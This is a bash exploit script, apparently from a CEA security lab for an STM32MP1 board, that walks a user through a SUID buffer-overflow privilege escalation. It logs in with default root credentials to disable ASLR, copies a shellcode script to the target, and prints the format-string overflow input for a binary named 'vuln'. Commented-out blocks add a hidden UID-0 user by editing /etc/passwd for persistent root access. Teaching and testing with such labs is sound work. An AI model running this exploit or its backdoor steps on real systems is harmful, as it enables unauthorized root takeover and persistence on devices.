#!/bin/bash
# Copyright (C) 2025 CEA - All Rights Reserved
# 
# This program is free software: you can redistribute it and/or modify it under
# the terms of the GNU General Public License as published by the Free Software
# Foundation, either version 3 of the License, or (at your option) any later
# version.
# 
# This program is distributed in the hope that it will be useful, but WITHOUT ANY
# WARRANTY; without even the implied warranty of  MERCHANTABILITY or FITNESS FOR
# A PARTICULAR PURPOSE. See the GNU General Public License for more details.
# 
# You should have received a copy of the GNU General Public License along with
# this program.  If not, see <http://www.gnu.org/licenses/>.


# 1) UTILITY FUNCTIONS
# This section contains utility functions that assist with various tasks in the attack process

# Function to request necessary information for performing the attack
get_attack_info(){
	read -p "[+] Please enter the STM32MP1 IP address: " target_ip_address
	while ! (ping -c 1 -W 2 $target_ip_address > /dev/null 2>&1) 
	do
		echo ""
		echo "[!] Invalid IP address or host unreachable"
		read -p "[+] Please enter the STM32MP1 IP address: " target_ip_address
	done

    echo "[+] To perform the attack, we need to connect to the target as a low-privileged user."
    echo "[+] Select the authentication method to access the target:"
    echo "- Enter 'p' to use a username and password."
    echo "- Enter 'k' to use a username and SSH key."
    read -p "Authentication method > " authentication_mode 
    echo ""

    if [[ "$authentication_mode" == 'k' ]]; then 
        echo "[+] You chose authentication using a username and SSH key."
        read -p "[+] Please enter the username (default : redis): " username
        username=${username:-redis}

        read -p "[+] Please enter the absolute path to the SSH key file (default : $SCRIPT_DIR/id_rsa): " ssh_key
        ssh_key=${ssh_key:-"$SCRIPT_DIR/id_rsa"}
        if [ ! -f $ssh_key ]; then 
            echo "[!] Error: Private SSH key not found in the expected directory ('$ssh_key')."
            echo "[!] To use this authentication method ('k'), you must provide the user's private SSH key."
            echo "[!] If you don't have a key, you can retrieve the redis user private key using the Redis SSH attack."
            exit 1
        fi

    elif [[ "$authentication_mode" == 'p' ]]; then 
        echo "[+] You chose authentication using a username and password."
        read -p "[+] Please enter the username (default : techi): " username
        username=${username:-techi}

        read -p "[+] Please enter the password (default : techi): " password
        password=${password:-techi}

    else
        echo "[!] Invalid authentication method selected. Please choose either 'p' or 'k'."
        exit 1
    fi
}

# Function to disable ASLR (Address Space Layout Randomization) on the target system.
# Disabling ASLR makes this exploit easier to implement, as ASLR randomizes memory addresses and complicates buffer overflow attacks.
disable_ASLR(){
    echo "[+] Disabling ASLR on the target system."
    command="cd /usr/bin/hendrics; ./disable_ASLR"
    sshpass -p "$ROOT_PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o LogLevel=ERROR "$ROOT_USERNAME"@$target_ip_address "$command"
    if [ $? -ne 0 ]; then 
        echo "[!] Error: We haven't been able to disable the ASLR on the target."
        echo "[!] Please verify that the ROOT credentials are correct. The ROOT credentials are: $ROOT_USERNAME:$ROOT_PASSWORD."
        exit 1 
    fi
}

# Function to transfer the necessary attack scripts to the target system and perform privilege escalation.
privilege_escalation(){
    echo "[+] Transferring necessary scripts for the attack to the target system."
    if [[ "$authentication_mode" == 'k' ]]; then 
        if [ ! -f $ssh_key ]; then 
            echo "[!] Error: Private SSH key not found in the expected directory ('$ssh_key')."
            echo "[!] To use this authentication method ('k'), you must provide the user's private SSH key."
            echo "[!] If you don't have a key, you can retrieve the redis user private key using the Redis SSH attack."
            exit 1
        fi

        scp -O -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o LogLevel=ERROR -i "$ssh_key" export_shellcode.py "$username"@$target_ip_address:~ 
        if [ $? -ne 0 ]; then 
            echo "[!] Error: Unable to copy the 'export_shellcode.py' script to the target system."
            echo "[!] This could be due to incorrect username or SSH key."
            exit 1 
        fi

#         if [ $is_automated_mode -ne 0 ]; then
#             # If you are in automated mode, create a new user with root privileges, granting persistent root access.
#             # This access can be used to carry out other attacks.
#             ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o LogLevel=ERROR -i $ssh_key "$username"@$target_ip_address << EOF > /dev/null 2>&1
#             export SHELLCODE=\$(python3 ~/export_shellcode.py);
#             echo "echo -e '$NEW_PRIVILEGED_PASSWORD\n$NEW_PRIVILEGED_PASSWORD' | /bin/busybox adduser '$NEW_PRIVILEGED_USER'" > /tmp/add_user.sh;
#             echo "sed -i 's/^$NEW_PRIVILEGED_USER:x:[0-9]*:[0-9]*:/$NEW_PRIVILEGED_USER:x:0:0:/' /etc/passwd" >> /tmp/add_user.sh; 
#             cd /etc; (echo -e '%112d\xb8\xff\xff\xbe'; sleep 1; cat /tmp/add_user.sh) | ./vuln;
#             rm -f /tmp/add_user.sh
# EOF
#             echo -e "{\"root_username\": \"$NEW_PRIVILEGED_USER\", \"root_password\": \"$NEW_PRIVILEGED_PASSWORD\"}" > "$ATTACK_OUTPUT_FILE"
#             if [ $? -ne 0 ]; then
#                 echo "[!] Error: Failed to write credentials to 'tmp_attack_output.json'. Please check your permissions."
#             fi
#         fi

        echo ""
        echo "[+] You are now logged in on the STM32MP1 as the $username user."
        echo "[+] To escalate to root privileges, execute the following commands in the target terminal:"
        echo "[+] 1. Set the environment variable with the shellcode: export SHELLCODE=\$(python3 ~/export_shellcode.py) "
        echo "[+] 2. Exploit the vulnerable program: cd /etc; (echo -e '%112d\xb8\xff\xff\xbe'; cat -) | ./vuln "
        echo ""

        ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o LogLevel=ERROR -i $ssh_key "$username"@$target_ip_address 
        
    elif  [[ "$authentication_mode" == 'p' ]]; then 
        sshpass -p "$password" scp -O -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o LogLevel=ERROR export_shellcode.py "$username"@$target_ip_address:~ 
        if [ $? -ne 0 ]; then 
            echo "[!] Error: Unable to copy the 'export_shellcode.py' script to the target system."
            echo "[!] This could be due to incorrect credentials."
            exit 1 
        fi

#         if [ $is_automated_mode -ne 0 ]; then
#             # If you are in automated mode, create a new user with root privileges, granting persistent root access.
#             # This access can be used to carry out other attacks.
#             sshpass -p "$password" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o LogLevel=ERROR "$username"@$target_ip_address << EOF > /dev/null 2>&1
#             export SHELLCODE=\$(python3 ~/export_shellcode.py);
#             echo "echo -e '$NEW_PRIVILEGED_PASSWORD\n$NEW_PRIVILEGED_PASSWORD' | /bin/busybox adduser '$NEW_PRIVILEGED_USER'" > /tmp/add_user.sh
#             echo "sed -i 's/^$NEW_PRIVILEGED_USER:x:[0-9]*:[0-9]*:/$NEW_PRIVILEGED_USER:x:0:0:/' /etc/passwd" >> /tmp/add_user.sh
#             cd /etc; (echo -e '%112d\xb8\xff\xff\xbe'; sleep 1; cat /tmp/add_user.sh) | ./vuln
#             rm -f /tmp/add_user.sh
# EOF
#             echo -e "{\"root_username\": \"$NEW_PRIVILEGED_USER\", \"root_password\": \"$NEW_PRIVILEGED_PASSWORD\"}" > "$ATTACK_OUTPUT_FILE"
#             if [ $? -ne 0 ]; then
#                 echo "[!] Error: Failed to write credentials to 'tmp_attack_output.json'. Please check your permissions."
#             fi
#         fi

        echo ""
        echo "[+] You are now logged in on the STM32MP1 as the $username user."
        echo "[+] To escalate to root privileges, execute the following commands in the target terminal:"
        echo "[+] 1. Set the environment variable with the shellcode: export SHELLCODE=\$(python3 ~/export_shellcode.py) "
        echo "[+] 2. Exploit the vulnerable program: cd /etc; (echo -e '%112d\xb8\xff\xff\xbe'; cat -) | ./vuln "
        echo ""

        sshpass -p "$password" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o LogLevel=ERROR "$username"@$target_ip_address 
    fi 
}



# 2) ATTACK MODES
# This section defines different attack modes, alowing either user interaction or full automation.

# Function to guide the user through each step of the formatted string attack
attack_step_by_step(){
    echo ""
    echo "======== STEP 1 : Configure Attack Parameters ========"
	echo ""
    echo "[+] First, you need to provide the IP address of the STM32MP1 device and select the authentication method."
    get_attack_info

    echo ""
	echo "======== STEP 2 : Attack explanations ========"
	echo ""

    echo "[+] You have a way to connect to the target as a low-privileged user and we want to escalate those privileges."
    echo "[+] You've identified a binary named 'vuln' with the SUID bit enabled, which might be exploited to escalate privileges."
    echo ""

    echo "[+] The binary contains the line: 'sprintf(outbuf, buffer);'"
    echo "[+] This line is vulnerable to a buffer overflow, allowing us to inject some shellcode and gain a root shell"
    echo ""

    echo "[+] The procedure to exploit the vulnerability is as follows:"
    echo "[+] 1. Create shellcode that sets the UID to 0 and spawns a shell."
    echo "[+] 2. Transfer the shellcode to the target system."
    echo "[+] 2. Place the shellcode in an environment variable, allowing it to be loaded onto the stack when the vulnerable binary is executed."
    echo "[+] 3. Perform a buffer overflow on the vulnerable binary to overwrite its return address, redirecting execution flow to our shellcode."
    echo ""

    echo "[+] For the exploit to work smoothly, the following conditions must be met:"
    echo "[+] - ASLR (Address Space Layout Randomization) must be disabled on the target."
    echo "[+] - The binary must have an executable stack."
    echo "[+] - The binary must not have stack-smashing protection enabled."
    echo ""

    echo "[+] Now, we will disable ASLR on the target system."
    echo "[+] Press ENTER to proceed..."
    read -n 1 wait
    disable_ASLR

    echo ""
	echo "======== STEP 3 : Execute the Privilege Escalation Attack ========"
	echo ""

    echo "[+] We are now ready to carry out the attack."
    echo "[+] Press ENTER to proceed with the attack..."
    read -n 1 wait

    privilege_escalation

    echo ""
    echo "[+] If you want to replay the attack with the non interactive mode, the command is :"
    if [[ "$authentication_mode" == 'k' ]]; then 
        echo "./exploit.sh -all ${target_ip_address} -k ${username} \"${ssh_key}\" "
    else
        echo "./exploit.sh -all ${target_ip_address} -p ${username} ${password} "
    fi
}

# Function to guide the user through necessary input and then run the attack without further explanation
attack_interactive(){
    get_attack_info

    echo ""
    disable_ASLR

    echo ""
    privilege_escalation
}

# Function to fully automate the attack process without user interaction
attack_automated(){
    case $attack_phase in
        (-a|-all)
            disable_ASLR
            echo ""
			privilege_escalation
            ;;
        (-s|-setup)
            disable_ASLR
            ;;
        (-p|-prepare)
            echo "[!] This attack does not have an preparation phase."
            exit 1
            ;;
        (-e|-exploit)
            privilege_escalation
            ;;
        (*)
            echo "[!] Invalid argument. Use -a|-all, -s|-setup, -p|-prepare, or e|-exploit."
            exit 1
    esac

	echo -e "\n======== END : ATTACK ENDED ========\n"
	exit 0
}



# 3) BEGINNING OF THE SCRIPT EXECUTION
# Main entry point of the script, handles initial checks and user options.

cat <<EndOfMessage                                             
==================================================    Buffer Overflow    =================================================== 

@@@@@@@   @@@@@@@   @@@  @@@  @@@  @@@@@@@@   @@@@@@    @@@@@@@      @@@@@@   @@@@@@@  @@@@@@@   @@@@@@    @@@@@@@  @@@  @@@  
@@@@@@@@  @@@@@@@@  @@@  @@@  @@@  @@@@@@@@  @@@@@@@   @@@@@@@@     @@@@@@@@  @@@@@@@  @@@@@@@  @@@@@@@@  @@@@@@@@  @@@  @@@  
@@!  @@@  @@!  @@@  @@!  @@!  @@@  @@!       !@@       !@@          @@!  @@@    @@!      @@!    @@!  @@@  !@@       @@!  !@@  
!@!  @!@  !@!  @!@  !@!  !@!  @!@  !@!       !@!       !@!          !@!  @!@    !@!      !@!    !@!  @!@  !@!       !@!  @!!  
@!@@!@!   @!@!!@!   !!@  @!@  !@!  @!!!:!    !!@@!!    !@!          @!@!@!@!    @!!      @!!    @!@!@!@!  !@!       @!@@!@!   
!!@!!!    !!@!@!    !!!  !@!  !!!  !!!!!:     !!@!!!   !!!          !!!@!!!!    !!!      !!!    !!!@!!!!  !!!       !!@!!!    
!!:       !!: :!!   !!:  :!:  !!:  !!:            !:!  :!!          !!:  !!!    !!:      !!:    !!:  !!!  :!!       !!: :!!   
:!:       :!:  !:!  :!:   ::!!:!   :!:           !:!   :!:          :!:  !:!    :!:      :!:    :!:  !:!  :!:       :!:  !:!  
 ::       ::   :::   ::    ::::     :: ::::  :::: ::    ::: :::     ::   :::     ::       ::    ::   :::   ::: :::   ::  :::  
 :         :   : :  :       :      : :: ::   :: : :     :: :: :      :   : :     :        :      :   : :   :: :: :   :   :::  
                                                                                                                        

EndOfMessage
echo ""
echo "[+] You are about to initiate a buffer overflow attack for privilege escalation!"
echo "[+] The aim of this attack is to gain root privileges by using a file with SUID bit enabled."
echo ""

# General configuration variables
SCRIPT_DIR="$(realpath "$(dirname "$0")")"
ROOT_USERNAME=root
ROOT_PASSWORD=root

# Variables used for automated attack mode
ATTACK_OUTPUT_FILE="$SCRIPT_DIR/../tmp_attack_output.json" 
NEW_PRIVILEGED_USER="buffer_overflow_user"
NEW_PRIVILEGED_PASSWORD="evil_password"
is_automated_mode=0

cd "$SCRIPT_DIR/scripts"

# If script is executed with exactly 5 argument, run the attack automatically with those arguments
if [ $# -eq 5 ]; then
    attack_phase=$1
    target_ip_address=$2
    username=$4
    is_automated_mode=1

	case $3 in
		(-k|-K)
            authentication_mode="k"
            ssh_key=$5
			;;
		(-p|-P)
            authentication_mode="p"
            password=$5
			;;
		(*)
			echo "[!] Invalid authentication method. Please use -k for SSH key or -p for password."
            exit 1
            ;;
	esac

    attack_automated
fi

# Main loop to choose between interactive or step-by-step attack mode
while true;
do
	read -p  "[+] Choose interactive mode ('i') or step by step mode ('s'): " attack_mode

	case $attack_mode in
		(i|I)
			attack_interactive
			break
			;;
		(s|S)
			attack_step_by_step
			break
			;;
		(*)
			echo -e "[!] Invalid option.\n"
            ;;
	esac
done

echo -e "\n======== END : ATTACK ENDED ========\n"
exit 0